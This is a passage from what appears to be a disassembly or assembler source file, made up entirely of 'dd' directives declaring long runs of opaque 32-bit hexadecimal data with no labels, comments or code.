		dd 40ACCF00h, 5C2A1314h, 74397BFCh, 4E5540A2h, 0C0D86114h
		dd 0F88DDEDFh, 0B980BAE8h, 27237639h, 61CEE978h, 9C718162h
		dd 1C01B3DAh, 947D81C7h, 0F5CD7281h, 0D166697Ch, 0FA69A5E2h
		dd 0C70E7A6Fh, 0DD4E557Ch, 4D795BC5h, 2DA8C405h, 9C949167h
		dd 2CFFE9DAh, 0E60CDA8Fh, 0F5B3F6D3h, 348FDE56h, 22280E78h
		dd 5305AA51h, 0E7DB7E41h, 4D4D915Dh, 0F6D6E0E2h, 10CAF3BEh
		dd 1637D8D0h, 0AA8AB4C3h, 0BE875221h, 2FCA1281h, 0FC36BB83h
		dd 956A6F04h, 13C6A5B8h, 2169811Ah, 0A861BE2Fh,	0C8349547h
		dd 3D38C6FEh, 0C29BA9B9h, 83F4CF7Ah, 6AE3D70Ch,	3DF075C6h
		dd 0DBDDFD38h, 11A03958h, 0AC1645C8h, 509EED84h, 3DCDD5C1h
		dd 2627D586h, 0EFDEF974h, 2A90FEA3h, 0DE15991Ch, 50BA2D9Eh
		dd 0D99F18C2h, 0A03BC437h, 63E0112Ah, 0E1526E1Dh, 0E8142C23h
		dd 370CDACBh, 92D0C7A5h, 737500D6h, 628317B2h, 0E7465ED1h
		dd 77102ABCh, 47DA338Eh, 0EE19C432h, 1EBFEDB5h,	0F3CF5F7Ch
		dd 0E15353BBh, 0C4CFAC54h, 0CD6DF050h, 3851465Ch, 0DF715016h
		dd 978734FCh, 2827BC0Ah, 90DB2D0Eh, 0EDF7FB45h,	268FB28Dh
		dd 3D922192h, 57B2599Dh, 5959BBB0h, 0DB3ABCBh, 0C211B928h
		dd 95EC2CAAh, 8A219B3h,	2DC8D194h, 0B56B1A25h, 363AA96Ch
		dd 37E57ADh, 70F6B85Fh,	931AFC5Ch, 0F2FC1802h, 0E34D72CCh
		dd 63623AE0h, 0ED8A64A7h, 6C3EB11Eh, 0E89650Ah,	0F0F3320Bh
		dd 0BB3E8D94h, 0AFB7B2F2h, 7AFBE719h, 73234E14h, 0AE2178E7h
		dd 8C19F7FBh, 351BD10Ch, 6BBB95F7h, 0AF445D85h,	8001C4D9h
		dd 0CCDE868h, 2262953Fh, 0A7CFCC4Bh, 88F92CCEh,	0CB08C7A1h
		dd 0EF60989Fh, 38E15530h, 14877805h, 0B092125Fh, 9E66B2CFh
		dd 0EC0E1FE1h, 56B69508h, 47C93284h, 0CE958957h, 7F77F948h
		dd 85FE5C47h, 3E9FC416h, 99BC316Fh, 0AFB13A3Eh,	0A24F7BA9h
		dd 9770F0A8h, 0EE6AAE9Dh, 84E988CBh, 0CAC330E8h, 0F0311536h
		dd 0A231F70Dh, 4435F61Fh, 6D7531ABh, 0FCF4DE5Eh, 453E7635h
		dd 0DA577AFCh, 0EAC518A5h, 25EA6F29h, 7290D5B2h, 2C1544AAh
		dd 1E7F5AF8h, 93D6EEF7h, 2864ED40h, 5662A1A3h, 4D5FDDAAh
		dd 2577A51Dh, 43FC5146h, 0AF0274FDh, 9F982D8Fh,	55D85699h
		dd 0F01033DDh, 1CE5AF66h, 8FD90E71h, 2AD29AD4h,	96556879h
		dd 0EE1BD6BBh, 91E9C8A8h, 0BACFA16Ch, 0BC454097h, 297296E1h
		dd 0D227EA23h, 505DA93Bh, 0DE23021Ch, 8736D68Bh, 4BCC2E3Fh
		dd 549DB0B1h, 0CAF93995h, 62C93A44h, 4D1956C5h,	1A12E65Fh
		dd 210F1945h, 5AF12104h, 0A0CBC368h, 8ED9C1B8h,	0A9D8F1D3h
		dd 3D222DE1h, 7FDDAEC9h, 2324A8E1h, 64FE22Ch, 477C25B2h
		dd 83F2DC3Ch, 0E1CE2D03h, 95951F5h, 4E4892D0h, 0CA8E10D8h
		dd 69EB3FC4h, 0DDF4B5A6h, 0FC10D188h, 0E76005FDh, 0DB74037Eh
		dd 0E77B1756h, 793CE022h, 0BB5E1C26h, 0CBDEB27Ah, 8DD66932h
		dd 9110A9B6h, 1FA67160h, 36967C85h, 2FF2A690h, 3EC93572h
		dd 0EA5A732Dh, 0BB2050h, 76440882h, 463D881Bh, 9E44C56Fh
		dd 7C9DBB64h, 0C7159AFFh, 3A0B548h, 0C5497617h,	2CF5A01Dh
		dd 31E8C3A4h, 32ED22C6h, 8941E4BAh, 19BF01B6h, 2489B04Dh
		dd 7A55E6ADh, 7ABB04F5h, 0AF61D6A4h, 9CFE8055h,	6BAFAE05h
		dd 0C3001E0Ah, 632D0C22h, 90E43DFCh, 0A2C806A6h, 42EA81D9h
		dd 56628C4Ah, 0DDA4F585h, 0C2781DB9h, 0E73FFB5Fh, 0D938861Ah
		dd 0B9F5178Bh, 86785558h, 285D8474h, 23FD3780h,	4A7EFC08h
		dd 6D6C83C3h, 33D34F27h, 81398831h, 7514ACA3h, 5B8B2129h
		dd 5B45777Fh, 0B1B1DA52h, 0B6977ABBh, 0FB4C93A0h, 20E191F3h
		dd 78122F8h, 7BCB25h, 74BB1B1Eh, 5583482Bh, 0DB869A89h
		dd 0A2B34307h, 0DD3E227Eh, 0A00D6B16h, 638FABCCh, 5D81EC79h
		dd 2BEB05AFh, 490C219Ah, 20EE5E77h, 0B1DB1C57h,	6A225F17h
		dd 8697A9A7h, 38712B18h, 0CB9BCCD1h, 678E231Ch,	28588B32h
		dd 42CB21F9h, 0C4B1B878h, 5F508C0Bh, 0E35408FFh, 61AE5543h
		dd 998DE27Ch, 6B38DC1Eh, 7C6E3D1Ah, 70A91832h, 383AE109h
		dd 6A0276C2h, 0E33FB468h, 90A26BC1h, 75170440h,	455E6D2Bh
		dd 9BDCE030h, 7728B07Fh, 59CA61D9h, 6C674161h, 0D1CCE33Bh
		dd 0C89B5133h, 0A864F6A7h, 48543026h, 7C7CCA3Ah, 4EC3A512h
		dd 0D33D7949h, 0D1C3ED8Ch
		dd 2E6EB696h, 0CE67CEAh, 8E4DDAE4h, 1706FCEEh, 60A6AFBEh
		dd 0EAEE4F4h, 13DFB386h, 0F1B14301h, 0C350AC96h, 9A7C8AFDh
		dd 28823FE3h, 2CC86546h, 8FC972BAh, 0A5F13EEBh,	0F1BE1163h
		dd 0E388CB9Ch, 42E18162h, 0C2C7A02Eh, 4301A674h, 0B4B32D0Bh
		dd 354A67E4h, 606BE05Bh, 0FA9512BFh, 1B30ECEh, 81964D52h
		dd 87BBA66Fh, 5895D454h, 0D43D3CBCh, 28466A2Ch,	0F1B6C626h
		dd 3E688BC2h, 7911A608h, 9AFFF636h, 99AB660Fh, 0BE5788F2h
		dd 99A3E84h, 0DF257D3h,	0CFF22B22h, 78CEF978h, 60668B82h
		dd 329873CAh, 0E06F89DFh, 951E310Bh, 74EC666Ch,	0DFD48722h
		dd 110DFC2Dh, 2B43FC81h, 16064AE1h, 0D2A0F381h,	57904DB1h
		dd 4236EC81h, 0D4CC6EA3h, 32D94B01h, 0B7C2329Ch, 5497933Fh
		dd 7B22F5Bh, 589886B5h,	8CE0121Dh, 6D9FEE2Dh, 0AF15252Bh
		dd 0D486E383h, 26BB6B8Eh, 583904EFh, 0FF2538CFh, 7101F2C1h
		dd 732D2282h, 5AF6132Dh, 0F4AC8C21h, 0DC47609Ah, 4DFA2A7Dh
		dd 9CE71BD3h, 7DE08DBBh, 78B99E36h, 763A7CF2h, 6B074832h
		dd 0A1BD433Bh, 89224641h, 0F8F43F1Bh, 0B1C12D32h, 0A3712585h
		dd 0A6626CF6h, 811500BDh, 0FA0DB579h, 1153E46Dh, 0F0CCF16Eh
		dd 0CDFD8E62h, 0F1EFD223h, 709C63F6h, 3CD72246h, 0B333472Ah
		dd 8273FE86h, 0E4B5CD05h, 66836DD0h, 52B93E45h,	0BB632EE7h
		dd 9E270803h, 3B118649h, 7CB68A33h, 0F01F05C2h,	69582FD4h
		dd 5BA0D46Bh, 0BD421172h, 80130FD2h, 8CD80F5h, 96E417E0h
		dd 4032D253h, 0D1A182E4h, 9712C645h, 7608A743h,	50821E40h
		dd 0BE3A830Eh, 11042D0Bh, 0F5C0260Ah, 4B39B38Ch, 9C72C0Bh
		dd 6639019Dh, 8EF3E599h, 5F66FE25h, 0D18D6BE6h,	82D51680h
		dd 0E393DD4Ah, 26FE8FD2h, 879E7D2Fh, 4548114Ch,	0BBAC9405h
		dd 4740347Fh, 371B97BAh, 6032D0B4h, 17F8B5B3h, 0A841C820h
		dd 2EA1CB3h, 1ABA7930h,	4982928h, 3518AF57h, 0C210CE8h
		dd 72BC855h, 6732D6F5h,	3A252E6h, 8A554D0Bh, 15DA2AC3h
		dd 0E4731561h, 1E39A83Ah, 0F24D0103h, 1F017EDEh, 9474F2B6h
		dd 0E1C3DD7h, 1919BA5Ch, 17667DFEh, 98CA3599h, 0A39D2363h
		dd 5DE2213Dh, 7008D44Dh, 4109F4C3h, 745EB44h, 5C9F40C6h
		dd 195E8B20h, 4C88B822h, 789FE7AFh, 373414A3h, 0CD1AC6Fh
		dd 0E52CAB21h, 6CE03A08h, 16495FA2h, 0BB87A09Ah, 0D150D930h
		dd 0F69AFBF7h, 0C252971Fh, 0A0ABC6Ah, 0A13876DBh, 57AD65Bh
		dd 4B268CC0h, 0FCE8AC0h, 25B48D53h, 4ECB38FDh, 966BBB7Eh
		dd 0D5BEDB61h, 15E16178h, 8CB98C69h, 9FEAE0E1h,	0F38E4317h
		dd 1D6B3BDFh, 0C16E41E2h, 0DF3A5116h, 75A534A3h, 3527ABBEh
		dd 0F1477C7Bh, 6DFEDB28h, 0FAC65718h, 80338711h, 7721055Eh
		dd 0DDC13689h, 0D9B3E88Bh, 1E4108DBh, 928C3CABh, 0D4230E55h
		dd 0BD6809C0h, 0DC1D67FDh, 455EFDCDh, 0A01805BEh, 1DB5F103h
		dd 0A53BD5E8h, 6EBD63D7h, 8209012h, 0EC364B1h, 680625C7h
		dd 4ACD2863h, 0B8616F4Fh, 0C2E9F083h, 0E6BC0FAAh, 9AB5CCB7h
		dd 3FA4FBD9h, 1B572063h, 1A7FC34Fh, 9C2C45E7h, 984FF6C9h
		dd 0CAAD4549h, 5828EEAAh, 0BC8F31E1h, 0B74586Ch, 45AD192Fh
		dd 0E54C12C2h, 612978FFh, 0E0E87326h, 0BA48CF4Eh, 0AC719EF6h
		dd 356D9446h, 8BECBFC5h, 5900A391h, 6A75CD4h, 4EB42A89h
		dd 0D5CF4B4Ah, 0A812485Ah, 0A511E7FAh, 0FC8FCF6Eh, 315F1E51h
		dd 1D4C3AF1h, 0B4F195E3h, 67634B39h, 0EF347821h, 0EA3AF894h
		dd 33641ED5h, 0D18D0BEFh, 0E0AD4613h, 0B37B883Bh, 0B4577D04h
		dd 4D6C58CAh, 0B23929E7h, 0BBD357B9h, 1D584B07h, 0FB96BC46h
		dd 2EA936EDh, 23C0A58Dh, 2A32B71Bh, 836107A8h, 0C79C3169h
		dd 0AE2B3E61h, 85E0F156h, 1045199Ch, 0F0C5894h,	6A10004Dh
		dd 6B76ABD9h, 0D32BD7ABh, 56E390B9h, 7BF4389Eh,	0FD29B015h
		dd 72B15F53h, 0AC11F0AFh, 9BDCEC3Dh, 57A072F2h,	0E0BF7EF3h
		dd 1319D7FAh, 295FA48Eh, 0EEAFF201h, 2B9DCE92h,	431161C0h
		dd 1DEA0A7Dh, 55CDF8EAh, 6BAA3B53h, 69FC7988h, 3CA1E4CFh
		dd 527E80B9h, 18A341AFh, 55EDC454h, 0FE5A7716h,	37017373h
		dd 9CE775CFh, 4D4215A1h, 664B8D96h, 2E843823h, 0FFB23F47h
		dd 56008D2Dh, 0E16FEAB1h, 1964FF32h, 7125CFA9h,	70677544h
		dd 545C2B1Eh, 0FF003283h, 0B800FB1Ch, 90AD6316h, 0FE6C366Eh
		dd 0FFAEE3FCh, 0E93E76F7h, 226DE4FFh, 45305374h, 8473ABAEh
		dd 11A405Dh, 0C069C6A4h, 0DCEAA801h, 0D30C17FCh, 0B8A40ADBh
		dd 4629AC42h, 5644910Ah, 1242E428h, 1A4B755Bh, 958B10B0h
		dd 48A30E0Bh, 97934CFEh, 26F0742Fh, 0F9D587FAh,	25823525h
		dd 99DBCBC1h, 5395FB15h, 0B93465E8h, 190DF2ACh,	63CEB48h
		dd 31102EAAh, 1DD282Ah,	0E6BC38D2h, 7BA1BB8Fh, 0DE468304h
		dd 4BAE9FFAh, 0FB6523A0h, 2EB16ED1h, 155A2E10h,	55F38C4Ah
		dd 3E8215FCh, 8F2B748Ah, 0A223B9A8h, 24940123h,	1D8031B6h
		dd 0F7DAA803h, 0E01404E4h, 522EDB8Bh, 0DC8F2102h, 0F2C20C9Dh
		dd 2A86A34Bh, 0BE183114h, 7542A5CAh, 0ED49B465h, 24C621E1h
		dd 0D08EB59Fh, 0E6B92BE6h, 285CB202h, 46345ED6h, 1A045D83h
		dd 47BAAD1Ch, 0C58E5B25h, 439BDA4Bh, 3A82CC2Ch,	4B9F4239h
		dd 0E6AE02C0h, 6FED063Ah, 4318E5C2h, 0FC276F64h, 0D997EF52h
		dd 6D324A7h, 3D77766h, 61316091h, 9A1B7888h, 47A88737h
		dd 273E01B0h, 0B6EA1A61h, 0AE571897h, 7A658F92h, 10EA820Eh
		dd 60B6885Ch, 0CD7E760h, 0E5BBB4E7h, 260BBA53h,	90B01FA4h
		dd 0A18092A2h, 0CC487454h, 9E3027ECh, 0AEA4DA8Fh, 9BF37113h
		dd 9DB39C58h, 0B76A365Dh, 41804C97h, 33C2E59Ch,	0D30AFF02h
		dd 6B40ACFAh, 9B54503Fh, 0D6E9B2CCh, 6C6A8EFDh,	0BA4002C2h
		dd 7366DF1Bh, 698F9E67h, 0EB8F644Dh, 5063EB00h,	251261D7h
		dd 0D7EE2173h, 0E7B32D0Fh, 6C513AEEh, 80F9BAB9h, 75079D42h
		dd 4E8B2B5Eh, 0B9BC43D2h, 73E7F5CAh, 0E47152ABh, 73387CDAh
		dd 0D385DB74h, 0A3C14ED6h, 26C33B3Eh, 5A5CC4EBh, 58A7BA80h
		dd 6B5BFE0Fh, 0E0CC91B2h, 4906808Ch, 0C085EBE1h, 0FA1AA051h
		dd 12C762BBh, 0E0CF57C7h, 6463FB9Fh, 21CACE88h,	785EABCh
		dd 0AC988F3Ah, 1EF714C2h, 479C32E6h, 8F094550h,	0F1671634h
		dd 5D7975A5h, 0E8B78E64h, 9F2B6045h, 0F8137F08h, 0D84B82CAh
		dd 22D023A6h, 0F98B0C20h, 0D9B9C526h, 0A920024Bh, 0B4CD40CDh
		dd 95A7714Ah, 85DF6ACBh, 0B49AF8DFh, 0B9C1E390h, 0F29E7420h
		dd 0FDE24203h, 80C66E0Bh, 204E95CCh, 0F204AE38h, 7EBE3B9Bh
		dd 17538C4Eh, 0ADBF2A9Bh, 8AAE12A1h, 16EAE6A0h,	10F0082Ch
		dd 3450786Bh, 6B71F31Eh, 0F7B9747Eh, 0BE0B1BBh,	0E5A352C7h
		dd 7DEFDECEh, 0C5E321F0h, 862EE6FCh, 0F0947416h, 1409EEABh
		dd 0E14524CEh, 933FC647h, 59719AF7h, 6B182B2Bh,	6456E12Bh
		dd 5A82E99Fh, 0B822AD90h, 0AE4BF6A1h, 0E15C4DBAh, 8806086Bh
		dd 0A98822A8h, 0EFA509Dh, 0D874401Ch, 93D6A130h, 8634B836h
		dd 502EFAECh, 56FACD49h, 0CCC370A5h, 79D17B28h,	659783BEh
		dd 56041AD4h, 0F4844D30h, 2810A3B3h, 0D1DAB02Ch, 606B1720h
		dd 6E8B1745h, 8DDAE015h, 57AB1DBh, 54323CD6h, 0FB8E50FBh
		dd 72809BE8h, 988129C0h, 7B331769h, 0D1444FDEh,	82295DD6h
		dd 4166F57Eh, 0DE6D33CBh, 469FBD6Ch, 34BAED89h,	45E2716Ch
		dd 1C05E96h, 0D91EEC58h, 0C9F67BF4h, 0DB2DE463h, 8D4434E1h
		dd 535D8E50h, 7F306901h
		dd 0EF2C8438h, 1E6EAF3h, 589EC746h, 8E37AA86h, 6E1594A7h
		dd 1DECF03Ch, 59D6FB83h, 0A6235F73h, 48C72C6Fh,	7CCF2ED8h
		dd 154316BCh, 379FBEA9h, 5ACA7E1Ah, 448DBB25h, 42561FA3h
		dd 7AD4FBB3h, 29F725B4h, 9BE7CABh, 53616E4Dh, 0CA979E55h
		dd 2F22A0B6h, 0A448300Ch, 84AC7B8Fh, 0F5F44429h, 0F03AE36Fh
		dd 0F64752F8h, 284D3BA6h, 0A32F1A40h, 0D8E551DDh, 0CEDC1428h
		dd 0DB52B191h, 0F0223758h, 279F1AE6h, 91582B9Fh, 8B270115h
		dd 530321B3h, 0C49260BEh, 550E4154h, 0AFF59861h, 0BA869F67h
		dd 25E2FDE1h, 0CDF0A4B4h, 64B31C6Ah, 0F70ED096h, 82E80D22h
		dd 3CC6C93Bh, 0A250546Bh, 9A06D12Bh, 0E86786FBh, 5E9C300Fh
		dd 0C962742Fh, 63A32907h, 4E4C18E9h, 0C5FF0149h, 73916200h
		dd 8DC69455h, 7E1D7F59h, 9C2D9975h, 4AE3DDC2h, 8C5C503Dh
		dd 5744DEh, 0F11DF68h, 7C33045Fh, 1C7A69CFh, 3600C3F8h
		dd 0AA0C73F9h, 0B556EE68h, 3F0716DAh, 0E5F83B47h, 3D08FD2h
		dd 0E5389BC5h, 0BEDBD22Ch, 0EC4DDFA2h, 0E3523605h, 7D6DB179h
		dd 342D2CFBh, 0E18C1652h, 62A32B7Ch, 4E560BA4h,	0D492A4D0h
		dd 5BF22F33h, 53E8F544h, 7CBB9965h, 0C43705C1h,	0F1501100h
		dd 3E2252Dh, 0EBFE3557h, 1CA4D09Eh, 3D232F48h, 0AE785A17h
		dd 0F70C885Eh, 0F43ABD46h, 0DE2434B1h, 0AFABED82h, 9DA037Ch
		dd 9DCECBF3h, 0B2058092h, 65121B68h, 0A31DB58Ah, 4A8C756Eh
		dd 60F8B033h, 0D3EECE76h, 0DB5F232h, 4C9532B3h,	77542F1Ch
		dd 83BDB408h, 780B181h,	5BAF5B12h, 5985A82Dh, 946EB93Ch
		dd 0DFC0FBAh, 0AA188C0Eh, 95FD2CF6h, 0E3855F60h, 8BCC8280h
		dd 5C3B0B65h, 0E60640BAh, 54D921BCh, 3EE136F9h,	0DC17E9Dh
		dd 0A50B11F3h, 301005BFh, 9605C5Bh, 6F9599Eh, 64C57604h
		dd 79EC2D19h, 65189AECh, 0B326668h, 9D6AB225h, 83BA2E2Ch
		dd 0F4C03A4Bh, 0A071F824h, 0E8503165h, 771A3B4Bh, 62A87B02h
		dd 0F0F7DBC6h, 0CEF74915h, 0AD710329h, 15C30E7Fh, 0B9808E91h
		dd 0B6A26A2h, 298BBD34h, 20C002E6h, 3B4FEC1Eh, 0B7A78614h
		dd 0D06DC624h, 0EE4BAAD6h, 0B79C4F9Dh, 9793D723h, 0D95E52FEh
		dd 8EA048FEh, 13634E7Dh, 77BF3298h, 94859FB8h, 2FFF858Ah
		dd 3BADBDF3h, 4C7BC02Bh, 84C80EA2h, 0E817673Bh,	59D41CD8h
		dd 71E1F1C8h, 0B43365D0h, 9F9DBF52h, 0C70DFB5Eh, 7F5F4BA3h
		dd 0A76539ABh, 0CA5FB2D9h, 632D892Dh, 85506892h, 8D4AA40Fh
		dd 0CC1A014h, 0D24A224h, 0C789D883h, 8CBE1978h,	99AFB89Bh
		dd 0DDC2BD79h, 0FFE4686Fh, 0B5DC95Eh, 4E0CC87Dh, 0ED7F4AC0h
		dd 0F4EBBB5Fh, 0EEB3AEE4h, 77C1685Eh, 396693Ah,	7CEF7BB6h
		dd 4BECA393h, 0F15F334Bh, 36B0973Ah, 8CF21E3Dh,	0B8ADF905h
		dd 0E7CF73EEh, 0EE0BAB06h, 929BB176h, 2A273335h, 0E470C45Ah
		dd 51D5DE68h, 3B0D2701h, 0D6CF3BFFh, 1424B4D8h,	0C12971BFh
		dd 69C788FBh, 0E9FB7E85h, 0F544629Fh, 49FCCFB7h, 0A2B3073Ch
		dd 305BF0h, 324BAF1h, 0C9E82FEBh, 0FD15CFE2h, 214EA294h
		dd 98D212F7h, 0CCEF7571h, 0E9E735A3h, 8DD6D242h, 0B14C52C0h
		dd 65B3F889h, 394D5FA1h, 35035D95h, 2D2B7853h, 0FC789E8Bh
		dd 5D2BB0A1h, 0B51B1803h, 0BB5E6A53h, 737A1E4Ah, 0D350E6CEh
		dd 0A12314A5h, 0F8AA8554h, 9C0E8866h, 29C6373Ah, 0A5E8BB3Fh
		dd 0B2A247EEh, 30F589Dh, 0A2E18F6Fh, 71D4A6B5h,	0DEC27C49h
		dd 6C91BE7Bh, 8D0B12FEh, 923AA394h, 0BCE61B85h,	77B8156Ah
		dd 0DF6086E7h, 0FFA49CEDh, 8C0CD443h, 72B0DDB3h, 0C3EB127Ch
		dd 95A1319Ch, 0DF14C702h, 182AD6BAh, 0ECCA8E5h,	6EE3EEFCh
		dd 0B140BBE2h, 0D88707FBh, 46C3CB1Ch, 29FD4BB4h, 0B82F4287h
		dd 712FD5F0h, 0D95BA970h, 71F2ACBAh, 0FE3A10C6h, 0B8F12475h
		dd 41D76409h, 9BBE8411h, 0D9522220h, 37981CF6h,	46440838h
		dd 0B661A8E7h, 14EA40D3h, 818E4045h, 451983AFh,	86F64B99h
		dd 21AE424h, 998F44E1h,	71568BBDh, 2D9AAAF5h, 4F1CD290h
		dd 4A2B2103h, 9FB4B8E2h, 578A27A3h, 0E8D31A18h,	1BBB6EA2h
		dd 6B73F050h, 59E7F70Bh, 84211373h, 636E1F3Dh, 0EC041B89h
		dd 0AFFDF870h, 24B26A27h, 0FE5C6EB9h, 0D5B3E1F3h, 9717C450h
		dd 3EBA75C4h, 56CB0DE4h, 3FC0ADC6h, 47D11A90h, 0CD98A609h
		dd 0BA0F41B8h, 64C837AAh, 94F3D0Fh, 73237D2Eh, 3D52F315h
		dd 0C6A323C0h, 1E154FDh, 6AD1E557h, 0D30653EEh,	42C4B259h
		dd 73A63F3Dh, 756389DAh, 1E887F88h, 0AE42E4D5h,	0DBCC1304h
		dd 1CBF93h, 4AEF59FBh, 409B0332h, 86763537h, 0CCA3C14Fh
		dd 0E1DC185Ch, 555F18AAh, 2964677h, 0DB8FC4FDh,	727E9AADh
		dd 0A041E023h, 925C929Eh, 194BAEFBh, 297A0817h,	0D146D761h
		dd 0CE6E018Eh, 0CE76A528h, 0C85560B5h, 4E9362BDh, 727555E2h
		dd 342FC6A6h, 0A9F18AF1h, 4E608DBBh, 8FAA7BECh,	0D745EDB2h
		dd 8B1D4652h, 0EF89A0DFh, 5422EC14h, 9DC32D46h,	0F6A28D55h
		dd 1A0D3FABh, 0EBDE33F3h, 4666F36h, 218D4815h, 0C2EE0051h
		dd 2155EDB8h, 0E99B4759h, 806D5A8Ah, 0A768C4C1h, 0C0D43047h
		dd 5A2FF7B4h, 92792943h, 6D3104AAh, 5370A4A2h, 0C1F75046h
		dd 0ADAC615Ch, 428AD631h, 6BA80Bh, 0B6292E2Eh, 71BC1DD9h
		dd 32221309h, 5BC2CDD6h, 9B92EF9Ch, 0F2F36EC1h,	8A44C919h
		dd 0DF23C509h, 4B675769h, 8CF2A656h, 275CEEFBh,	9001E9Fh
		dd 0E5EBBF59h, 0B353E06Bh, 0DCD2D218h, 63307951h, 3DA74DE1h
		dd 0A93496DDh, 0EFA8C662h, 19CBEBC7h, 0B87CFD77h, 47204F0Dh
		dd 2CE7C307h, 19382B85h, 934C1B1h, 0A2605C04h, 0E1A38D80h
		dd 3AC8489Bh, 9008C8FDh, 1E5DD86h, 0A3CA1A9Ah, 8F9ABBB3h
		dd 0B20F66CCh, 684B7FB0h, 0F1F1E46h, 0CC042377h, 63DBF0B5h
		dd 0B67AC28Ch, 4C902D9Ch, 0B5E0CC74h, 0B7ABE5A4h, 223EA3CFh
		dd 9726A9BCh, 0F3C6FD42h, 3B731915h, 5F16DCE8h,	40BA21Ch
		dd 5B4F2A8Ch, 7B525E42h, 433419E5h, 0C9810A3Fh,	44AA08D5h
		dd 3A866EA1h, 2CE468E7h, 0F54B19h, 0B6160698h, 73996C35h
		dd 1152E0B3h, 9CCC2AB9h, 0B38D3B2Eh, 0EF3D71A8h, 0A269A7B4h
		dd 0CC31C513h, 91BA75A5h, 304D5045h, 1D21059Fh,	3FFCFC26h
		dd 0C0B3FBCFh, 531D29F2h, 0AA324238h, 431A0B95h, 0B9DE1EA5h
		dd 8E9DFA6Dh, 40C7AA82h, 0DC617E88h, 0BDD57655h, 0F815F40Ch
		dd 0F53C9DBDh, 89BFE472h, 0B0325073h, 16606F22h, 61024C83h
		dd 5B6F6861h, 80898298h, 0E913D0A1h, 4932B038h,	8615034Eh
		dd 339BFE8Ah, 0A9D3CC1Fh, 95CC0861h, 715F13E2h,	88050CE4h
		dd 9F343C62h, 0DAB801DAh, 0AE56EFB1h, 3338B283h, 0D8144530h
		dd 0C8285C02h, 0A4BD7547h, 0EF58CA58h, 9D9FD4Bh, 620B17ECh
		dd 3BA7DBF6h, 0C7C3B151h, 0A816CC48h, 5631C108h, 51F9D32Bh
		dd 0A1C63203h, 130DF64h, 6C145541h, 329F68E8h, 9448E550h
		dd 45B6C28Ah, 5128E52Ah, 0E9071B0Bh, 6622B1F5h,	3CE61BADh
		dd 0B1DB9071h, 0CF8E2B0Bh, 0D3DFBDABh, 93B82ED9h, 0EE12E074h
		dd 0DE1E2D67h, 4602A863h, 71F313B7h, 0F12D5774h, 0A7A85AFh
		dd 88D07FB4h, 0CC76A53Ch, 25B6C7FEh, 5578A5B1h,	6EA3E79Ch
		dd 0AA533112h, 0E9CC0EF4h, 4454226Ah, 0D4E24868h, 3472CEADh
		dd 6EF4864Ah, 441C6DCFh, 6C631829h, 5AB91F22h, 53F37C4Ah
		dd 83038936h, 77FDF2Ch,	56C81EF4h, 7698F6EBh, 0CF5FE128h
		dd 0A1684DA1h, 87E82029h, 24458D9Fh, 0D370523Ah, 0CA11BE55h
		dd 0DB5D8080h, 14A1D59Ah
		dd 0FCF18070h, 0D8C80280h, 0F3555414h, 0F08DC500h, 0DE4C4FCDh
		dd 406CA2F8h, 0D7CBA69Eh, 859B7F6Dh, 0C4360D8Bh, 112C7B9Ch
		dd 0BD6D5BFBh, 3382CDB2h, 2508363Bh, 0A47812C7h, 2A9A79Ah
		dd 15950A83h, 0CDB27EEEh, 0AC29CDF8h, 83DD7E2Ch, 0E19EB7BEh
		dd 7F03EF2Bh, 0E7594CD2h, 0DE069FDAh, 3C65B48Ah, 0B4CD2BF1h
		dd 13797D25h, 0B47D8F54h, 5266F86Fh, 4D8D5AA3h,	61D08382h
		dd 0F8BBFAFBh, 5C838BC6h, 0F8A8F7F7h, 96631682h, 187AAAA7h
		dd 2BD2D0EAh, 56DC96ABh, 2D5D2015h, 71FE446Bh, 0CC62A5CAh
		dd 0ABEC843Ch, 0C147085Ch, 0B7A4CF1Bh, 36F49EC1h, 607A33B6h
		dd 53CF646h, 0AFC1F7A8h, 74EEA80Ch, 987CE48h, 3109C698h
		dd 0EABE2AE1h, 0ACC681FEh, 0B387E83Ch, 0D2A96F80h, 152D9253h
		dd 0FBCB3943h, 22209D2Dh, 0B8E07BABh, 0CDEFC427h, 0FBD3471Fh
		dd 48D61692h, 6FD4D61Ch, 74AB2246h, 0EBE616CEh,	6F583657h
		dd 1028E899h, 93FA72F2h, 803CDBh, 0C3D0F72h, 6D8F585Ch
		dd 0DEEFEEFDh, 59D322F4h, 75C5788Ah, 7D3FEA48h,	0FD1A603Ah
		dd 40FBF435h, 4F05F316h, 0E64699ABh, 0C24AD18Dh, 0EF8844C2h
		dd 0AFBC878h, 0D5A234AFh, 0C23DAF9Dh, 9E71473Eh, 1EDDA7E0h
		dd 3393E90Bh, 0E2A9CF1Ah, 23AB155h, 6E9F6ABAh, 0FDC20287h
		dd 551F8273h, 3AA74F4Ah, 5C497E51h, 0A548659Bh,	8451BD50h
		dd 0F9D31760h, 0DFC0E002h, 5BA98ABDh, 3678F0A3h, 0A233FC2Ch
		dd 844881B3h, 0B602A6F4h, 96256F37h, 0F8E537C5h, 0CC9155A4h
		dd 0E588ED9Fh, 5D99D8E1h, 114C6ED9h, 37D07DFEh,	0B81BEBE5h
		dd 2ACA148Eh, 94311888h, 86697FC3h, 0B83BB950h,	0C9154E58h
		dd 6FF4435Ah, 0EA65BA51h, 7E256409h, 0BF1D7E15h, 6A44998h
		dd 635725E5h, 0EF1D200Ah, 0A892AC62h, 49E37E78h, 1A7487C7h
		dd 350C5240h, 6E47886h,	0FC4E6271h, 79870337h, 126E9F4h
		dd 0B11A924Fh, 4756A877h, 0AB4091F6h, 0D2B0AEBCh, 48FB5EE7h
		dd 0BEA33A88h, 2DAC71DFh, 69D7559Bh, 78DD34D9h,	7D9346BBh
		dd 0BA97BEB1h, 0BA28180h, 0CEEFC5F8h, 3263895Ch, 77957C1Ah
		dd 927DD49Ah, 0DBE3C8E5h, 8B03A927h, 9C85174Dh,	0B5F19365h
		dd 0C92F2890h, 492DBCC3h, 3ED5D5Dh, 1D6952E2h, 8B0EC443h
		dd 37F5B039h, 9867E6BCh, 0B1841752h, 0B253FFDAh, 6DD51C11h
		dd 0EB875C2Fh, 42D622D4h, 0CECE24C9h, 39C41D91h, 0B2BC3960h
		dd 2EE3F11Bh, 0FEC858C4h, 5E6EF5Eh, 0F9A4CA77h,	5A5C9F7Bh
		dd 90D19275h, 9832E07Bh, 8A4D56EDh, 7B4A1052h, 2B431A64h
		dd 7B99CA6Bh, 214AC835h, 21ED3608h, 2C324EEBh, 33FD9FF6h
		dd 0F57CC3F8h, 0DB9F43ECh, 725563C9h, 0A321B527h, 8F41B829h
		dd 399D494Ch, 90B7DA2h,	8A6363A8h, 0E7F40152h, 0C01B019Eh
		dd 4B3F9F00h, 50A6037Dh, 0AC91963Ah, 689F8395h,	39CDF82Bh
